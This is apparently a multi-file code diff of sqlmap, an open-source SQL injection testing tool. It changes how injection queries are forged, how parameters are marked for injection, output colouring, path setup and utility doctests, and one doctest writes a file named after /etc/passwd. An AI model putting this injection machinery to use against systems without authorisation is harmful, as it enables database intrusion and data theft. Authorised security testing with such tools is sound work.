fieldsSelectDistinct = re.search(r"\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I)
|
||||
fieldsSelectCase = re.search(r"\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I)
|
||||
@@ -683,8 +719,8 @@ class Agent(object):
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
|
||||
concatenatedQuery += "+'%s'" % kb.chars.stop
|
||||
elif fieldsSelectTop:
|
||||
topNum = re.search(r"\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, kb.chars.start), 1)
|
||||
topNum = re.search(r"\ASELECT\s+TOP(\s+[\d]|\s*\([^)]+\))\s+", concatenatedQuery, re.I).group(1)
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT TOP%s " % topNum, "TOP%s '%s'+" % (topNum, kb.chars.start), 1)
|
||||
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1)
|
||||
elif fieldsSelectCase:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
|
||||
@@ -756,7 +792,6 @@ class Agent(object):
|
||||
elif fieldsNoSelect:
|
||||
concatenatedQuery = "CONCAT(CONCAT('%s',%s),'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
||||
|
||||
|
||||
return concatenatedQuery
|
||||
|
||||
def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):
|
||||
@@ -1184,12 +1219,15 @@ class Agent(object):
|
||||
|
||||
def whereQuery(self, query):
|
||||
if conf.dumpWhere and query:
|
||||
match = re.search(r" (LIMIT|ORDER).+", query, re.I)
|
||||
if match:
|
||||
suffix = match.group(0)
|
||||
prefix = query[:-len(suffix)]
|
||||
if Backend.isDbms(DBMS.ORACLE) and re.search(r"qq ORDER BY \w+\)", query, re.I) is not None:
|
||||
prefix, suffix = re.sub(r"(?i)(qq)( ORDER BY \w+\))", r"\g<1> WHERE %s\g<2>" % conf.dumpWhere, query), ""
|
||||
else:
|
||||
prefix, suffix = query, ""
|
||||
match = re.search(r" (LIMIT|ORDER).+", query, re.I)
|
||||
if match:
|
||||
suffix = match.group(0)
|
||||
prefix = query[:-len(suffix)]
|
||||
else:
|
||||
prefix, suffix = query, ""
|
||||
|
||||
if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper():
|
||||
prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
|
||||
@@ -1199,7 +1237,7 @@ class Agent(object):
|
||||
prefix += " WHERE %s" % conf.dumpWhere
|
||||
|
||||
query = prefix
|
||||
if suffix:
|
||||
if suffix and not all(re.search(r"ORDER BY", _, re.I) is not None for _ in (query, suffix)):
|
||||
query += suffix
|
||||
|
||||
return query
|
||||
|
||||
@@ -10,11 +10,11 @@ try:
|
||||
except:
|
||||
import pickle
|
||||
|
||||
import bz2
|
||||
import itertools
|
||||
import os
|
||||
import sys
|
||||
import tempfile
|
||||
import zlib
|
||||
|
||||
from lib.core.compat import xrange
|
||||
from lib.core.enums import MKSTEMP_PREFIX
|
||||
@@ -24,17 +24,17 @@ from lib.core.settings import BIGARRAY_COMPRESS_LEVEL
|
||||
|
||||
DEFAULT_SIZE_OF = sys.getsizeof(object())
|
||||
|
||||
def _size_of(object_):
|
||||
def _size_of(instance):
|
||||
"""
|
||||
Returns total size of a given object_ (in bytes)
|
||||
Returns total size of a given instance / object (in bytes)
|
||||
"""
|
||||
|
||||
retval = sys.getsizeof(object_, DEFAULT_SIZE_OF)
|
||||
retval = sys.getsizeof(instance, DEFAULT_SIZE_OF)
|
||||
|
||||
if isinstance(object_, dict):
|
||||
retval += sum(_size_of(_) for _ in itertools.chain.from_iterable(object_.items()))
|
||||
elif hasattr(object_, "__iter__"):
|
||||
retval += sum(_size_of(_) for _ in object_ if _ != object_)
|
||||
if isinstance(instance, dict):
|
||||
retval += sum(_size_of(_) for _ in itertools.chain.from_iterable(instance.items()))
|
||||
elif hasattr(instance, "__iter__"):
|
||||
retval += sum(_size_of(_) for _ in instance if _ != instance)
|
||||
|
||||
return retval
|
||||
|
||||
@@ -54,8 +54,8 @@ class BigArray(list):
|
||||
|
||||
>>> _ = BigArray(xrange(100000))
|
||||
>>> _[20] = 0
|
||||
>>> _[100]
|
||||
100
|
||||
>>> _[99999]
|
||||
99999
|
||||
"""
|
||||
|
||||
def __init__(self, items=None):
|
||||
@@ -92,7 +92,7 @@ class BigArray(list):
|
||||
self.chunks.pop()
|
||||
try:
|
||||
with open(self.chunks[-1], "rb") as f:
|
||||
self.chunks[-1] = pickle.loads(bz2.decompress(f.read()))
|
||||
self.chunks[-1] = pickle.loads(zlib.decompress(f.read()))
|
||||
except IOError as ex:
|
||||
errMsg = "exception occurred while retrieving data "
|
||||
errMsg += "from a temporary file ('%s')" % ex
|
||||
@@ -113,7 +113,7 @@ class BigArray(list):
|
||||
self.filenames.add(filename)
|
||||
os.close(handle)
|
||||
with open(filename, "w+b") as f:
|
||||
f.write(bz2.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
|
||||
f.write(zlib.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
|
||||
return filename
|
||||
except (OSError, IOError) as ex:
|
||||
errMsg = "exception occurred while storing data "
|
||||
@@ -131,7 +131,7 @@ class BigArray(list):
|
||||
if not (self.cache and self.cache.index == index):
|
||||
try:
|
||||
with open(self.chunks[index], "rb") as f:
|
||||
self.cache = Cache(index, pickle.loads(bz2.decompress(f.read())), False)
|
||||
self.cache = Cache(index, pickle.loads(zlib.decompress(f.read())), False)
|
||||
except Exception as ex:
|
||||
errMsg = "exception occurred while retrieving data "
|
||||
errMsg += "from a temporary file ('%s')" % ex
|
||||
|
||||
@@ -58,6 +58,7 @@ from lib.core.convert import getText
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.convert import htmlUnescape
|
||||
from lib.core.convert import stdoutEncode
|
||||
from lib.core.data import cmdLineOptions
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
@@ -116,6 +117,7 @@ from lib.core.settings import DEFAULT_COOKIE_DELIMITER
|
||||
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
||||
from lib.core.settings import DEFAULT_MSSQL_SCHEMA
|
||||
from lib.core.settings import DEV_EMAIL_ADDRESS
|
||||
from lib.core.settings import DOLLAR_MARKER
|
||||
from lib.core.settings import DUMMY_USER_INJECTION
|
||||
from lib.core.settings import DYNAMICITY_BOUNDARY_LENGTH
|
||||
from lib.core.settings import ERROR_PARSING_REGEXES
|
||||
@@ -213,7 +215,7 @@ class UnicodeRawConfigParser(_configparser.RawConfigParser):
|
||||
fp.write("[%s]\n" % _configparser.DEFAULTSECT)
|
||||
|
||||
for (key, value) in self._defaults.items():
|
||||
fp.write("%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING).replace('\n', '\n\t')))
|
||||
fp.write("\t%s = %s" % (key, getUnicode(value, UNICODE_ENCODING)))
|
||||
|
||||
fp.write("\n")
|
||||
|
||||
@@ -223,9 +225,9 @@ class UnicodeRawConfigParser(_configparser.RawConfigParser):
|
||||
for (key, value) in self._sections[section].items():
|
||||
if key != "__name__":
|
||||
if value is None:
|
||||
fp.write("%s\n" % (key))
|
||||
else:
|
||||
fp.write("%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING).replace('\n', '\n\t')))
|
||||
fp.write("\t%s\n" % (key))
|
||||
elif not isListLike(value):
|
||||
fp.write("\t%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING)))
|
||||
|
||||
fp.write("\n")
|
||||
|
||||
@@ -629,7 +631,8 @@ def paramToDict(place, parameters=None):
|
||||
|
||||
if parameter in (conf.base64Parameter or []):
|
||||
try:
|
||||
oldValue = value
|
||||
kb.base64Originals[parameter] = oldValue = value
|
||||
value = urldecode(value, convall=True)
|
||||
value = decodeBase64(value, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
||||
parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value, parameters)
|
||||
except:
|
||||
@@ -675,17 +678,21 @@ def paramToDict(place, parameters=None):
|
||||
elif isinstance(current, dict):
|
||||
for key in current.keys():
|
||||
value = current[key]
|
||||
if isinstance(value, (list, tuple, set, dict)):
|
||||
if value:
|
||||
walk(head, value)
|
||||
elif isinstance(value, (bool, int, float, six.string_types)):
|
||||
if isinstance(value, (bool, int, float, six.string_types)) or value in (None, []):
|
||||
original = current[key]
|
||||
if isinstance(value, bool):
|
||||
current[key] = "%s%s" % (getUnicode(value).lower(), BOUNDED_INJECTION_MARKER)
|
||||
elif value is None:
|
||||
current[key] = "%s%s" % (randomInt(), BOUNDED_INJECTION_MARKER)
|
||||
elif value == []:
|
||||
current[key] = ["%s%s" % (randomInt(), BOUNDED_INJECTION_MARKER)]
|
||||
else:
|
||||
current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER)
|
||||
candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized, separators=(',', ':') if ", " not in testableParameters[parameter] else None), parameters)
|
||||
current[key] = original
|
||||
elif isinstance(value, (list, tuple, set, dict)):
|
||||
if value:
|
||||
walk(head, value)
|
||||
|
||||
deserialized = json.loads(testableParameters[parameter])
|
||||
walk(deserialized)
|
||||
@@ -935,27 +942,40 @@ def setColor(message, color=None, bold=False, level=None, istty=None):
|
||||
|
||||
>>> setColor("Hello World", color="red", istty=True)
|
||||
'\\x1b[31mHello World\\x1b[0m'
|
||||
>>> setColor("[INFO] Hello World", istty=True)
|
||||
'[\\x1b[32mINFO\\x1b[0m] Hello World'
|
||||
>>> setColor("[INFO] Hello [CRITICAL] World", istty=True)
|
||||
'[INFO] Hello [CRITICAL] World'
|
||||
"""
|
||||
|
||||
retVal = message
|
||||
level = level or extractRegexResult(r"\[(?P<result>%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message)
|
||||
|
||||
if message and (IS_TTY or istty) and not conf.get("disableColoring"): # colorizing handler
|
||||
if bold or color:
|
||||
retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None)
|
||||
elif level:
|
||||
try:
|
||||
level = getattr(logging, level, None)
|
||||
except:
|
||||
level = None
|
||||
retVal = LOGGER_HANDLER.colorize(message, level)
|
||||
else:
|
||||
match = re.search(r"\(([^)]*)\s*fork\)", message)
|
||||
if match:
|
||||
retVal = retVal.replace(match.group(1), colored(match.group(1), color="lightgrey"))
|
||||
if message:
|
||||
if (IS_TTY or istty) and not conf.get("disableColoring"): # colorizing handler
|
||||
if level is None:
|
||||
levels = re.findall(r"\[(?P<result>%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message)
|
||||
|
||||
for match in re.finditer(r"[^\w]'([^\n']+)'", message): # single-quoted (Note: watch-out for the banner)
|
||||
retVal = retVal.replace(match.group(1), colored(match.group(1), color="lightgrey"))
|
||||
if len(levels) == 1:
|
||||
level = levels[0]
|
||||
|
||||
if bold or color:
|
||||
retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None)
|
||||
elif level:
|
||||
try:
|
||||
level = getattr(logging, level, None)
|
||||
except:
|
||||
level = None
|
||||
retVal = LOGGER_HANDLER.colorize(message, level)
|
||||
else:
|
||||
match = re.search(r"\(([^)]*)\s*fork\)", message)
|
||||
if match:
|
||||
retVal = retVal.replace(match.group(1), colored(match.group(1), color="lightgrey"))
|
||||
|
||||
if not any(_ in message for _ in ("Payload: ",)):
|
||||
for match in re.finditer(r"([^\w])'([^\n']+)'", message): # single-quoted (Note: watch-out for the banner)
|
||||
retVal = retVal.replace(match.group(0), "%s'%s'" % (match.group(1), colored(match.group(2), color="lightgrey")))
|
||||
|
||||
message = message.strip()
|
||||
|
||||
return retVal
|
||||
|
||||
@@ -974,11 +994,17 @@ def clearColors(message):
|
||||
|
||||
return retVal
|
||||
|
||||
def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=CONTENT_STATUS.IN_PROGRESS):
|
||||
def dataToStdout(data, forceOutput=False, bold=False, contentType=None, status=CONTENT_STATUS.IN_PROGRESS, coloring=True):
|
||||
"""
|
||||
Writes text to the stdout (console) stream
|
||||
"""
|
||||
|
||||
if not IS_TTY and isinstance(data, six.string_types) and data.startswith("\r"):
|
||||
if re.search(r"\(\d+%\)", data):
|
||||
data = ""
|
||||
else:
|
||||
data = "\n%s" % data.strip("\r")
|
||||
|
||||
if not kb.get("threadException"):
|
||||
if forceOutput or not (getCurrentThreadData().disableStdOut or kb.get("wizardMode")):
|
||||
multiThreadMode = isMultiThreadMode()
|
||||
@@ -987,9 +1013,9 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=
|
||||
|
||||
try:
|
||||
if conf.get("api"):
|
||||
sys.stdout.write(stdoutEncode(clearColors(data)), status, content_type)
|
||||
sys.stdout.write(stdoutEncode(clearColors(data)), status, contentType)
|
||||
else:
|
||||
sys.stdout.write(stdoutEncode(setColor(data, bold=bold)))
|
||||
sys.stdout.write(stdoutEncode(setColor(data, bold=bold) if coloring else clearColors(data)))
|
||||
|
||||
sys.stdout.flush()
|
||||
except IOError:
|
||||
@@ -1027,6 +1053,16 @@ def dataToDumpFile(dumpFile, data):
|
||||
raise
|
||||
|
||||
def dataToOutFile(filename, data):
|
||||
"""
|
||||
Saves data to filename
|
||||
|
||||
>>> pushValue(conf.get("filePath"))
|
||||
>>> conf.filePath = tempfile.gettempdir()
|
||||
>>> "_etc_passwd" in dataToOutFile("/etc/passwd", b":::*")
|
||||
True
|
||||
>>> conf.filePath = popValue()
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
|
||||
if data:
|
||||
@@ -1204,9 +1240,9 @@ def randomStr(length=4, lowercase=False, alphabet=None, seed=None):
|
||||
"""
|
||||
|
||||
if seed is not None:
|
||||
_ = getCurrentThreadData().random
|
||||
_.seed(seed)
|
||||
choice = _.choice
|
||||
_random = getCurrentThreadData().random
|
||||
_random.seed(seed)
|
||||
choice = _random.choice
|
||||
else:
|
||||
choice = random.choice
|
||||
|
||||
@@ -1238,10 +1274,12 @@ def getHeader(headers, key):
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
for _ in (headers or {}):
|
||||
if _.upper() == key.upper():
|
||||
retVal = headers[_]
|
||||
|
||||
for header in (headers or {}):
|
||||
if header.upper() == key.upper():
|
||||
retVal = headers[header]
|
||||
break
|
||||
|
||||
return retVal
|
||||
|
||||
def checkPipedInput():
|
||||
@@ -1250,7 +1288,7 @@ def checkPipedInput():
|
||||
# Reference: https://stackoverflow.com/a/33873570
|
||||
"""
|
||||
|
||||
return not os.isatty(sys.stdin.fileno()) if hasattr(sys.stdin, "fileno") else False
|
||||
return hasattr(sys.stdin, "fileno") and not os.isatty(sys.stdin.fileno())
|
||||
|
||||
def isZipFile(filename):
|
||||
"""
|
||||
@@ -1322,7 +1360,7 @@ def banner():
|
||||
if not any(_ in sys.argv for _ in ("--version", "--api")) and not conf.get("disableBanner"):
|
||||
result = BANNER
|
||||
|
||||
if not IS_TTY or "--disable-coloring" in sys.argv:
|
||||
if not IS_TTY or any(_ in sys.argv for _ in ("--disable-coloring", "--disable-colouring")):
|
||||
result = clearColors(result)
|
||||
elif IS_WIN:
|
||||
coloramainit()
|
||||
@@ -1340,9 +1378,9 @@ def parsePasswordHash(password):
|
||||
>>> kb.forcedDbms = popValue()
|
||||
"""
|
||||
|
||||
blank = " " * 8
|
||||
blank = ' ' * 8
|
||||
|
||||
if isNoneValue(password) or password == " ":
|
||||
if isNoneValue(password) or password == ' ':
|
||||
retVal = NULL
|
||||
else:
|
||||
retVal = password
|
||||
@@ -1422,6 +1460,7 @@ def setPaths(rootPath):
|
||||
checkFile(path)
|
||||
|
||||
if IS_WIN:
|
||||
# Reference: https://pureinfotech.com/list-environment-variables-windows-10/
|
||||
if os.getenv("LOCALAPPDATA"):
|
||||
paths.SQLMAP_HOME_PATH = os.path.expandvars("%LOCALAPPDATA%\\sqlmap")
|
||||
elif os.getenv("USERPROFILE"):
|
||||
@@ -1431,11 +1470,17 @@ def setPaths(rootPath):
|
||||
else:
|
||||
paths.SQLMAP_HOME_PATH = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".sqlmap")
|
||||
|
||||
if not os.path.isdir(paths.SQLMAP_HOME_PATH):
|
||||
if "XDG_DATA_HOME" in os.environ:
|
||||
paths.SQLMAP_HOME_PATH = os.path.join(os.environ["XDG_DATA_HOME"], "sqlmap")
|
||||
else:
|
||||
paths.SQLMAP_HOME_PATH = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".local", "share", "sqlmap")
|
||||
|
||||
paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(paths.SQLMAP_HOME_PATH, "output")), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
|
||||
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
|
||||
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
|
||||
|
||||
# history files
|
||||
# History files
|
||||
paths.SQLMAP_HISTORY_PATH = getUnicode(os.path.join(paths.SQLMAP_HOME_PATH, "history"), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
|
||||
paths.API_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "api.hst")
|
||||
paths.OS_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "os.hst")
|
||||
@@ -1479,7 +1524,7 @@ def parseTargetDirect():
|
||||
if details:
|
||||
conf.dbms = details.group("dbms")
|
||||
|
||||
if details.group('credentials'):
|
||||
if details.group("credentials"):
|
||||
conf.dbmsUser = details.group("user")
|
||||
conf.dbmsPass = details.group("pass")
|
||||
else:
|
||||
@@ -1591,8 +1636,8 @@ def parseTargetUrl():
|
||||
|
||||
originalUrl = conf.url
|
||||
|
||||
if re.search(r"\[.+\]", conf.url) and not socket.has_ipv6:
|
||||
errMsg = "IPv6 addressing is not supported "
|
||||
if re.search(r"://\[.+\]", conf.url) and not socket.has_ipv6:
|
||||
errMsg = "IPv6 communication is not supported "
|
||||
errMsg += "on this platform"
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
@@ -1649,7 +1694,7 @@ def parseTargetUrl():
|
||||
conf.port = 80
|
||||
|
||||
if conf.port < 1 or conf.port > 65535:
|
||||
errMsg = "invalid target URL's port (%d)" % conf.port
|
||||
errMsg = "invalid target URL port (%d)" % conf.port
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
conf.url = getUnicode("%s://%s:%d%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, conf.port, conf.path))
|
||||
@@ -1681,6 +1726,11 @@ def escapeJsonValue(value):
|
||||
Escapes JSON value (used in payloads)
|
||||
|
||||
# Reference: https://stackoverflow.com/a/16652683
|
||||
|
||||
>>> "\\n" in escapeJsonValue("foo\\nbar")
|
||||
False
|
||||
>>> "\\\\t" in escapeJsonValue("foo\\tbar")
|
||||
True
|
||||
"""
|
||||
|
||||
retVal = ""
|
||||
@@ -1700,7 +1750,7 @@ def expandAsteriskForColumns(expression):
|
||||
the SQL query string (expression)
|
||||
"""
|
||||
|
||||
match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+`?([^`\s()]+)", expression)
|
||||
match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+((`[^`]+`|[^\s]+)+)", expression)
|
||||
|
||||
if match:
|
||||
infoMsg = "you did not provide the fields in your query. "
|
||||
@@ -1855,6 +1905,12 @@ def getLocalIP():
|
||||
def getRemoteIP():
|
||||
"""
|
||||
Get remote/target IP address
|
||||
|
||||
>>> pushValue(conf.hostname)
|
||||
>>> conf.hostname = "localhost"
|
||||
>>> getRemoteIP() == "127.0.0.1"
|
||||
True
|
||||
>>> conf.hostname = popValue()
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
@@ -1981,6 +2037,9 @@ def normalizePath(filepath):
|
||||
def safeFilepathEncode(filepath):
|
||||
"""
|
||||
Returns filepath in (ASCII) format acceptable for OS handling (e.g. reading)
|
||||
|
||||
>>> 'sqlmap' in safeFilepathEncode(paths.SQLMAP_HOME_PATH)
|
||||
True
|
||||
"""
|
||||
|
||||
retVal = filepath
|
||||
@@ -2013,6 +2072,8 @@ def safeStringFormat(format_, params):
|
||||
|
||||
>>> safeStringFormat('SELECT foo FROM %s LIMIT %d', ('bar', '1'))
|
||||
'SELECT foo FROM bar LIMIT 1'
|
||||
>>> safeStringFormat("SELECT foo FROM %s WHERE name LIKE '%susan%' LIMIT %d", ('bar', '1'))
|
||||
"SELECT foo FROM bar WHERE name LIKE '%susan%' LIMIT 1"
|
||||
"""
|
||||
|
||||
if format_.count(PAYLOAD_DELIMITER) == 2:
|
||||
@@ -2056,7 +2117,10 @@ def safeStringFormat(format_, params):
|
||||
warnMsg += "Please report by e-mail content \"%r | %r | %r\" to '%s'" % (format_, params, retVal, DEV_EMAIL_ADDRESS)
|
||||
raise SqlmapValueException(warnMsg)
|
||||
else:
|
||||
retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count], retVal, 1)
|
||||
try:
|
||||
retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count], retVal, 1)
|
||||
except re.error:
|
||||
retVal = retVal.replace(match.group(0), match.group(0) % params[count], 1)
|
||||
count += 1
|
||||
else:
|
||||
break
|
||||
@@ -2187,6 +2251,15 @@ def isHexEncodedString(subject):
|
||||
def isMultiThreadMode():
|
||||
"""
|
||||
Checks if running in multi-thread(ing) mode
|
||||
|
||||
>>> isMultiThreadMode()
|
||||
False
|
||||
>>> _ = lambda: time.sleep(0.1)
|
||||
>>> thread = threading.Thread(target=_)
|
||||
>>> thread.daemon = True
|
||||
>>> thread.start()
|
||||
>>> isMultiThreadMode()
|
||||
True
|
||||
"""
|
||||
|
||||
return threading.activeCount() > 1
|
||||
@@ -2195,6 +2268,9 @@ def isMultiThreadMode():
|
||||
def getConsoleWidth(default=80):
|
||||
"""
|
||||
Returns console width
|
||||
|
||||
>>> any((getConsoleWidth(), True))
|
||||
True
|
||||
"""
|
||||
|
||||
width = None
|
||||
@@ -2401,6 +2477,9 @@ def initCommonOutputs():
|
||||
def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False):
|
||||
"""
|
||||
Returns newline delimited items contained inside file
|
||||
|
||||
>>> "SELECT" in getFileItems(paths.SQL_KEYWORDS)
|
||||
True
|
||||
"""
|
||||
|
||||
retVal = list() if not unique else OrderedDict()
|
||||
@@ -2507,8 +2586,8 @@ def goGoodSamaritan(prevValue, originalCharset):
|
||||
|
||||
def getPartRun(alias=True):
|
||||
"""
|
||||
Goes through call stack and finds constructs matching conf.dbmsHandler.*.
|
||||
Returns it or its alias used in 'txt/common-outputs.txt'
|
||||
Goes through call stack and finds constructs matching
|
||||
conf.dbmsHandler.*. Returns it or its alias used in 'txt/common-outputs.txt'
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
@@ -2834,6 +2913,8 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
|
||||
result = None if value is None else ""
|
||||
|
||||
if value:
|
||||
value = re.sub(r"\b[$\w]+=", lambda match: match.group(0).replace('$', DOLLAR_MARKER), value)
|
||||
|
||||
if Backend.isDbms(DBMS.MSSQL) and not kb.tamperFunctions and any(ord(_) > 255 for _ in value):
|
||||
warnMsg = "if you experience problems with "
|
||||
warnMsg += "non-ASCII identifier names "
|
||||
@@ -2868,6 +2949,8 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
|
||||
if spaceplus:
|
||||
result = result.replace(_urllib.parse.quote(' '), '+')
|
||||
|
||||
result = result.replace(DOLLAR_MARKER, '$')
|
||||
|
||||
return result
|
||||
|
||||
def runningAsAdmin():
|
||||
@@ -3244,7 +3327,7 @@ def parseSqliteTableSchema(value):
|
||||
Parses table column names and types from specified SQLite table schema
|
||||
|
||||
>>> kb.data.cachedColumns = {}
|
||||
>>> parseSqliteTableSchema("CREATE TABLE users\\n\\t\\tid INTEGER\\n\\t\\tname TEXT\\n);")
|
||||
>>> parseSqliteTableSchema("CREATE TABLE users(\\n\\t\\tid INTEGER,\\n\\t\\tname TEXT\\n);")
|
||||
True
|
||||
>>> repr(kb.data.cachedColumns).count(',') == 1
|
||||
True
|
||||
@@ -3256,9 +3339,9 @@ def parseSqliteTableSchema(value):
|
||||
table = {}
|
||||
columns = {}
|
||||
|
||||
for match in re.finditer(r"(\w+)[\"'`]?\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b", decodeStringEscape(value), re.I):
|
||||
for match in re.finditer(r"[(,]\s*[\"'`]?(\w+)[\"'`]?(?:\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b)?", decodeStringEscape(value), re.I):
|
||||
retVal = True
|
||||
columns[match.group(1)] = match.group(2)
|
||||
columns[match.group(1)] = match.group(2) or "TEXT"
|
||||
|
||||
table[safeSQLIdentificatorNaming(conf.tbl, True)] = columns
|
||||
kb.data.cachedColumns[conf.db] = table
|
||||
@@ -3355,7 +3438,7 @@ def setOptimize():
|
||||
|
||||
# conf.predictOutput = True
|
||||
conf.keepAlive = True
|
||||
conf.threads = 3 if conf.threads < 3 else conf.threads
|
||||
conf.threads = 3 if conf.threads < 3 and cmdLineOptions.threads is None else conf.threads
|
||||
conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor))
|
||||
|
||||
if not conf.nullConnection:
|
||||
@@ -3532,7 +3615,7 @@ def isListLike(value):
|
||||
False
|
||||
"""
|
||||
|
||||
return isinstance(value, (list, tuple, set, BigArray))
|
||||
return isinstance(value, (list, tuple, set, OrderedSet, BigArray))
|
||||
|
||||
def getSortedInjectionTests():
|
||||
"""
|
||||
@@ -4092,24 +4175,25 @@ def safeSQLIdentificatorNaming(name, isTable=False):
|
||||
|
||||
# Note: SQL 92 has restrictions for identifiers starting with underscore (e.g. http://www.frontbase.com/documentation/FBUsers_4.pdf)
|
||||
if retVal.upper() in kb.keywords or (not isTable and (retVal or " ")[0] == '_') or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
|
||||
retVal = unsafeSQLIdentificatorNaming(retVal)
|
||||
if not conf.noEscape:
|
||||
retVal = unsafeSQLIdentificatorNaming(retVal)
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
|
||||
retVal = "`%s`" % retVal
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
|
||||
retVal = "\"%s\"" % retVal
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||
retVal = "\"%s\"" % retVal.upper()
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
if isTable:
|
||||
parts = retVal.split('.', 1)
|
||||
for i in xrange(len(parts)):
|
||||
if parts[i] and (re.search(r"\A\d|[^\w]", parts[i], re.U) or parts[i].upper() in kb.keywords):
|
||||
parts[i] = "[%s]" % parts[i]
|
||||
retVal = '.'.join(parts)
|
||||
else:
|
||||
if re.search(r"\A\d|[^\w]", retVal, re.U) or retVal.upper() in kb.keywords:
|
||||
retVal = "[%s]" % retVal
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
|
||||
